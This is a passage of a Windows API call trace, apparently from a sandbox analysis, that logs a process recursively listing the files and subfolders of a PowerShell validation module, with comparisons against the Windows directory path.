dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0192.969] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0 [0192.969] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0192.970] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.970] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0192.970] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0192.970] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple") returned 115 [0192.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532300 [0192.971] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.971] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1 [0192.971] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0 [0192.971] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0192.972] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0192.972] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0192.972] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1 [0192.972] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1 [0192.972] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0192.973] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test") returned 101 [0192.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532300 [0192.973] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.973] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1 [0192.973] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0192.973] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0192.973] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules") returned 109 [0192.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532340 [0192.976] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.976] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1 [0192.976] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0192.976] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics") returned 130 [0192.976] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0192.977] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.977] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0192.977] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0192.978] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics") returned 142 [0192.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0192.980] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.980] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1 [0192.980] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0192.980] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple") returned 149 [0192.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531980 [0192.981] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.981] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0192.981] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0192.981] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0192.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0192.981] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0192.981] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0192.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0193.187] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.187] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0193.187] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.187] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0193.187] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 130 [0193.187] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 1 [0193.187] lstrlenW (lpString="Example2.Diagnostics") returned 20 [0193.187] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Example2.Diagnostics") returned -1 [0193.187] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0193.187] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 130 [0193.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0193.188] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.188] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0193.188] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 136 [0193.188] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 1 [0193.188] lstrlenW (lpString="1.0.1") returned 5 [0193.188] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1.0.1") returned 1 [0193.188] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.188] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 136 [0193.188] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.189] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", 